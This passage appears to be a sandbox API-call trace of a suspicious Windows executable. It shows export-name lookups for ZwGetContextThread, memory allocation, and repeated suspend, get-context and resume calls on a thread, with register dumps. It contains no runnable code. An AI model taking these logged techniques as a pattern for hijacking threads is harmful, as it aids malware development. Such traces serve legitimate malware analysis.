(lpString1="LdrQueryProcessModuleInformation", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrRegisterDllNotification", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrRemoveLoadAsDataTable", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrResFindResource", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrResFindResourceDirectory", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrResGetRCConfig", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrResRelease", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrResSearchResource", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrRscIsTypeExist", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrSetAppCompatDllRedirectionCallback", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrSetDllManifestProber", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrSetMUICacheType", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrShutdownProcess", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrShutdownThread", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrUnloadAlternateResourceModule", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrUnloadAlternateResourceModuleEx", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrUnloadDll", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrUnlockLoaderLock", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrUnregisterDllNotification", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksum", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrVerifyImageMatchesChecksumEx", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrpResGetMappingSize", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="LdrpResGetResourceDirectory", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="MD4Final", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="MD4Init", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="MD4Update", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="MD5Final", lpString2="ZwGetContextThread") returned -1 [0036.201] lstrcmpA (lpString1="MD5Init", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="MD5Update", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NlsAnsiCodePage", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NlsMbCodePageTag", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NlsMbOemCodePageTag", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAcceptConnectPort", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheck", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheckAndAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheckByType", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheckByTypeAndAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheckByTypeResultList", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAccessCheckByTypeResultListAndAuditAlarmByHandle", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAddAtom", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAddBootEntry", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAddDriverEntry", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAdjustGroupsToken", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAdjustPrivilegesToken", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlertResumeThread", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlertThread", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAllocateLocallyUniqueId", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAllocateReserveObject", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAllocateUserPhysicalPages", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAllocateUuids", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAllocateVirtualMemory", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcAcceptConnectPort", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcCancelMessage", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcConnectPort", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcCreatePort", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcCreatePortSection", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcCreateResourceReserve", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcCreateSectionView", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcCreateSecurityContext", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcDeletePortSection", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcDeleteResourceReserve", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcDeleteSectionView", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcDeleteSecurityContext", lpString2="ZwGetContextThread") returned -1 [0036.202] lstrcmpA (lpString1="NtAlpcDisconnectPort", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcImpersonateClientOfPort", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcOpenSenderProcess", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcOpenSenderThread", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcQueryInformation", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcQueryInformationMessage", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcRevokeSecurityContext", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcSendWaitReceivePort", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAlpcSetInformation", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtApphelpCacheControl", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAreMappedFilesTheSame", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtAssignProcessToJobObject", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCallbackReturn", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCancelIoFile", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCancelIoFileEx", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCancelSynchronousIoFile", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCancelTimer", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtClearEvent", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtClose", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCloseObjectAuditAlarm", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCommitComplete", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCommitEnlistment", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCommitTransaction", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCompactKeys", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCompareTokens", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCompleteConnectPort", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCompressKey", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtConnectPort", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtContinue", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateDebugObject", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateDirectoryObject", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateEnlistment", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateEvent", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateEventPair", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateFile", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateIoCompletion", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateJobObject", lpString2="ZwGetContextThread") returned -1 [0036.203] lstrcmpA (lpString1="NtCreateJobSet", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateKey", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateKeyTransacted", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateKeyedEvent", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateMailslotFile", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateMutant", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateNamedPipeFile", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreatePagingFile", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreatePort", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreatePrivateNamespace", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateProcess", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateProcessEx", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateProfile", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateProfileEx", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateResourceManager", lpString2="ZwGetContextThread") returned -1 [0036.204] lstrcmpA (lpString1="NtCreateSection", lpString2="ZwGetContextThread") returned -1 [0036.212] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", lpEnd=0x0, wMatch=0x5c) returned="\\sgm_20190527_desfuhohdt.exe" [0036.212] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0036.212] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0036.212] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0036.212] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0036.212] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0036.212] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0036.212] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt.exe", lpString2="NTDLL.DLL") returned 1 [0036.212] StrChrA (lpStart="sgm_20190527_desfuhohdt.exe", wMatch=0x2e) returned=".exe" [0036.212] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt", lpString2="NTDLL.DLL") returned 1 [0036.212] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0036.212] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0036.213] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0036.253] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", lpEnd=0x0, wMatch=0x5c) returned="\\sgm_20190527_desfuhohdt.exe" [0036.253] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0036.253] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0036.253] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0036.253] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0036.253] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0036.253] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0036.253] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt.exe", lpString2="NTDLL.DLL") returned 1 [0036.253] StrChrA (lpStart="sgm_20190527_desfuhohdt.exe", wMatch=0x2e) returned=".exe" [0036.253] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt", lpString2="NTDLL.DLL") returned 1 [0036.253] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0036.253] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0036.253] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0036.294] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", lpEnd=0x0, wMatch=0x5c) returned="\\sgm_20190527_desfuhohdt.exe" [0036.294] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0036.294] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0036.294] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0036.295] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0036.295] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0036.295] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0036.295] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt.exe", lpString2="NTDLL.DLL") returned 1 [0036.295] StrChrA (lpStart="sgm_20190527_desfuhohdt.exe", wMatch=0x2e) returned=".exe" [0036.295] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt", lpString2="NTDLL.DLL") returned 1 [0036.295] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0036.295] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0036.295] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0036.356] ResumeThread (hThread=0x104) returned 0x1 [0036.356] Sleep (dwMilliseconds=0x64) [0038.775] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0038.775] GetProcAddress (hModule=0x769e0000, lpProcName="SuspendThread") returned 0x76a17d7e [0038.775] SuspendThread (hThread=0x104) returned 0x0 [0038.775] NtGetContextThread (in: ThreadHandle=0x104, Context=0x18e420 | out: Context=0x18e420*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x100003, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x1, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x50, [65]=0xf1, [66]=0x27, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x67, [75]=0xfd, [76]=0xfe, [77]=0x7, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x1, SegGs=0x0, SegFs=0x83ab0, SegEs=0x0, SegDs=0x27f0c8, Edi=0x0, Esi=0x77265468, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x27f850, Ebp=0x0, Eip=0x27f850, SegCs=0x0, EFlags=0x812f0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0xa0, [13]=0x25, [14]=0x67, [15]=0xfd, [16]=0xfe, [17]=0x7, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x1c, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0xa0, [45]=0x25, [46]=0x67, [47]=0xfd, [48]=0xfe, [49]=0x7, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0038.778] ResumeThread (hThread=0x104) returned 0x1 [0038.778] Sleep (dwMilliseconds=0x64) [0038.906] SuspendThread (hThread=0x104) returned 0x0 [0038.906] NtGetContextThread (in: ThreadHandle=0x104, Context=0x18e420 | out: Context=0x18e420*(ContextFlags=0x0, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x100003, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x33, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x2b, [11]=0x0, [12]=0x46, [13]=0x2, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x20, [65]=0x65, [66]=0x5, [67]=0x77, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x90, [74]=0xfd, [75]=0xff, [76]=0xff, [77]=0x7, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0xffb8b790, 